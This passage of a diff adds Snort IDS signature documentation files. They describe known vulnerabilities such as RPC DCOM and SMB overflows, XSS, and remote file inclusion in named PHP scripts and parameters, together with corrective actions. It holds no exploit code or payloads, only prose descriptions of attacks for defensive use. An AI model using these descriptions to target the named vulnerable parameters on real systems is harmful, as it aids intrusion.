+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2834.txt
+++ snort-2.8.5.2/doc/signatures/2834.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2834
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_replication_package
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000709.txt
+++ snort-2.8.5.2/doc/signatures/100000709.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000709
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "SquirrelMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "mailbox" parameter in the "search.php" script used by the "SquirrelMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using SquirrelMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1622.txt
+++ snort-2.8.5.2/doc/signatures/1622.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1622
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000603.txt
+++ snort-2.8.5.2/doc/signatures/100000603.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000603
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_paid.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_paid.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1586.txt
+++ snort-2.8.5.2/doc/signatures/1586.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1586
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3135.txt
+++ snort-2.8.5.2/doc/signatures/3135.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3135
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000758.txt
+++ snort-2.8.5.2/doc/signatures/100000758.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000758
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "QTO File Manager" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "pathext" parameter in the "qtofm.php" script used by the "QTO File Manager" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using QTO File Manager
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2958.txt
+++ snort-2.8.5.2/doc/signatures/2958.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2958
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000327.txt
+++ snort-2.8.5.2/doc/signatures/100000327.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000327
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ScozNet ScozNews" application running on a webserver. Access to the file "admin_import.php" using a remote file being passed as the "main_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "main_path" parameter in the "admin_import.php" script used by the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000662.txt
+++ snort-2.8.5.2/doc/signatures/100000662.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000662
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "homepage" parameter in the "edit.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1139.txt
+++ snort-2.8.5.2/doc/signatures/1139.txt
@@ -0,0 +1,60 @@
+Rule:  
+--
+
+Sid:
+1139
+
+--
+
+Summary:
+This event is generated when an attempt is made to evade an IDS in a 
+possible web attack by sending an obfuscated request.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+Some CGI attacks can be accomplished by using HEAD instead of GET.
+Additionally, some web servers will interpret "/./" as simply "/".
+An attacker might try to combine these methods in an attempt to
+obfuscate an attack or during the reconnaissance phase of a penetration
+attempt in order to bypass an IDS.
+
+--
+Affected Systems:
+	All Web Servers.
+ 
+--
+Attack Scenarios:
+An attacker may use an automated tool, like Whisker, to obfuscate an
+attack.
+
+--
+Ease of Attack:
+Simple. Exploit scripts and tools are widely available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the host for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3066.txt
+++ snort-2.8.5.2/doc/signatures/3066.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3066
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"append" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2431.txt
+++ snort-2.8.5.2/doc/signatures/2431.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2431
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3381.txt
+++ snort-2.8.5.2/doc/signatures/3381.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3381
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3295.txt
+++ snort-2.8.5.2/doc/signatures/3295.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3295
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1291.txt
+++ snort-2.8.5.2/doc/signatures/1291.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1291
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3368.txt
+++ snort-2.8.5.2/doc/signatures/3368.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3368
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/561.txt
+++ snort-2.8.5.2/doc/signatures/561.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+561
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2155.txt
+++ snort-2.8.5.2/doc/signatures/2155.txt
@@ -0,0 +1,60 @@
+Rule:
+ 
+--
+Sid:
+2155
+
+--
+Summary:
+This event is generated when a remote user attempts to access forum/index.php with the template parameter on a web server. This may indicate an attempt to exploit a remote code execution vulnerability in ttForum, a web-based bulletin board application.
+
+--
+Impact:
+Serious. Possible remote execution of arbitrary code, which may lead to a remote root compromise.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a vulnerability in ttForum, a web-based bulletin board application. When an attacker sends a request to forum/index.php with a remote PHP file included in the "template" parameter, the web server will execute the code included in the linked PHP file.  
+
+--
+Affected Systems:
+Any server running ttForum.
+
+--
+Attack Scenarios:
+An attacker writes a PHP file containing executable code, and then sends a URI request to the forum/index.php on the vulnerable server with the crafted PHP file included in the template parameter. The web server will then attempt to execute the commands included in the linked PHP file.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been patched in recent versions. Contact the vendor (http://www.ttcms.com) for more details. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7542
+http://www.securityfocus.com/bid/7543
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11615
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-4.txt
+++ snort-2.8.5.2/doc/signatures/111-4.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-4
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that indicates
+data has been found outside the expected window for the data in a session.
+
+This is not normal network behavior and may indicate spurious activity
+or a malfunctioning operating system network stack.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+
+-- 
+Ease of Attack: 
+Simple. Many automated packet generation tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
